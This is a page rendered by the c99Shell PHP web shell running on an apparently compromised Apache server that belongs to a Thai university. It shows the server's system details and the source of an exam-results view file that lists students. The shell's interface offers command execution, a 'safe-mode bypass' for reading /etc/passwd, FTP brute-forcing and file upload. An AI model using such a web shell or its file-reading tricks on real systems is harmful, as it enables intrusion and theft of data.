!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showResultExamOcc.php (4.21 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
            <div align="center">
            <table width="100%" align="center" cellpadding="0" cellspacing="1" border="0">
                <tr>
                    <td align="center"><font size="3" color="<?php echo $font_color_err?>" class="h"><b>ผลการสอบวิชาชีพ</b></font></td>
                </tr>
                <tr>
                    <td height="22"></td>
                </tr>            
                <tr>
                    <td colspan="2"><table width="100%" border="0" cellspacing="1" cellpadding="1" align="center">
                        <tr><td colspan="2">
                            <table width="100%" border="0" cellpadding="1" cellspacing="1">
                                <tr bgcolor="<?php echo $tr_color_even;?>">
                                    <td width="20%"><font size="2"><b>หลักสูตร</b></font></td>
                                    <td width="80%"><font size="2"><?php echo $qu_cur->row()->curName;?>
                                    <input type="hidden" name="curId" id="curId" value="<?php echo $qu_cur->row()->curId;?>"></font></td>
                                </tr>
                                <tr bgcolor="<?php echo $tr_color_even;?>">
                                    <td><font size="2"><b>ปีที่จบการศึกษา</b></font></td>
                                    <td><font size="2"><?php echo $graduateY;?>
                                    <input type="hidden" name="graduateY" id="graduateY"value="<?php echo $graduateY;?>" /></font></td>
                                </tr>
                            </table></td>
                        </tr>
                        <tr>
                            <td><br /></td>
                        </tr>
                        <tr>
                            <td>
                            <table width="100%">
                                <tr bgcolor="<?php echo $this->config->item("rg_table_color");?>">
                                    <td width="50" align="center" height="22"><font color="<?php echo $font_color_table;?>" size="2"><b>ลำดับที่</b></font></td>
                                    <td width="100" align="center"><font color="<?php echo $font_color_table;?>" size="2"><b>รหัสนักศึกษา</b></font></td>
                                    <td width="380" align="center"><font color="<?php echo $font_color_table;?>" size="2"><b>ชื่อนักศึกษา</b></font></td>
                                    <td width="120" align="center"><font color="<?php echo $font_color_table;?>" size="2"><b>ผลการสอบ</b></font></td>
                                </tr>
<?php
                    $i 
0;
                    if(isset(
$rs_std) && $rs_std->num_rows()) {
                        foreach(
$rs_std->result() as $row) {
                            if((
$i%2) == 0)
                                echo 
"<tr bgcolor=\"".$this->config->item("rg_mouseout")."\" onmouseover=\"bgColor='".$this->config->item("rg_mouseover")."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
                            else
                                echo 
"<tr bgcolor=\"".$tr_color_even."\" onmouseover=\"bgColor='".$this->config->item("rg_mouseover")."'\" onmouseout=\"bgColor='".$tr_color_even."'\">";
?>
                                    <td align="center" height="22"><font  size="2"><?php echo $i+1;?></font><input type="hidden" name="stdId<?php echo $i;?>" id="stdId<?php echo $i;?>" value="<?php echo $row->stdId;?>"></td>
                                    <td align="center"><font size="2"><?php echo $row->stdCode;?></font></td>
                                    <td><font  size="2"><?php echo $row->prefixName.$row->stdName.' '.$row->stdSurname;?></font></td>
                                    <td align="center"><font  size="2"><?php echo setValue("sdtOccExamResult",$row);?></font></td>
                                </tr>
<?php
                            $i
++;
                        }
                    } else {
?>
                                <tr>
                                    <td colspan="4" align="center" height="22"><font color="<?php echo $font_color_err;?>" size="2">** ไม่ปรากฏรายการข้อมูลนักศึกษาในหลักสูตร **</font></td>
                                </tr>
<?php                            
                    
}
?>
                                <tr>
                                    <td colspan="4" align="right"><font  size="2">รวม <?php echo $i;?> รายการ</font></td>
                                </tr>
                            </table></td>
                        </tr>
                    </table></td>
                </tr>
            </table></div>
        </td>
    </tr>
    <tr><td>
        <table width="100%" cellpadding="1" cellspacing="1" border="0">
            <tr>
                <td width="8%"><font color="<?php echo $font_color_err;?>" size="2"><b>หมายเหตุ</b></font></td>
                <td width="92%"><font color="<?php echo $font_color_err;?>" size="2">P : ผ่าน</font></td>
            </tr>
            <tr>
                <td><font color="<?php echo $font_color_err;?>" size="2">&nbsp;</font></td>
                <td><font color="<?php echo $font_color_err;?>" size="2">F : ไม่ผ่าน</font></td>
            </tr>
        </table>
    </td></tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0152 ]--